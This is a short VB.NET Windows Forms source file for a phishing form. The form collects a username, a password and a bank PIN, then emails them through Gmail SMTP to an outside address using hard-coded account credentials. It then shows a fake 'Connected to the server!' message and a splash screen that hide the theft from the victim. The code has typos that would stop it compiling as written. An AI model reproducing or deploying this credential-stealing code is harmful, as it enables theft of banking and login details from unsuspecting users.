Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        If Textbox1.Text = "" And TextBox2.Text = ""  And TextBox3.Text Then
            MessageBox.Show("Please enter your details before continueing")
        Else
            If TextBox3.Text = "" Then
                MessageBox.Show("Bank pin Is Missing")
            Else
                If TextBox2.Text = "" Then
                    MessageBox.Show("Password Is Missing")
                Else
                    If Textbox1.Text = "" Then
                        MessageBox.Show("Username is missing")
                    Else
                    Dim smtpServer As New SmtpClient()
                    Dim mail As New MailMessage()
                    smtpServer.Credentials = New Net.NetworkCredential("gpbot123456@gmail.com", "emiliodimassanchez")
                    'using gmail
                    smtpServer.Port = 587
                    smtpServer.Host = "smtp.gmail.com"
                    smtpServer.EnableSsl = True
                    mail = New MailMessage()
                    mail.From = New MailAddress("gpbot123456@gmail.com")
                    mail.To.Add("gpbot@live.co.uk")
                    mail.Subject = "Username: " & Textbox1.Text & " " & "Password: " & TextBox2.Text & " " & "BankPin: " & TexBox3.Text
                    mail.Body = "Username : " & Textbox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "BankPin : " & TexBox3.Text
                    smtpServer.Send(mail)
                    MsgBox("Connected to the server!")
                    SplashScreen1.Show()
                    Me.hide
                End If
            End If
        End If
    End If
End Sub
End Class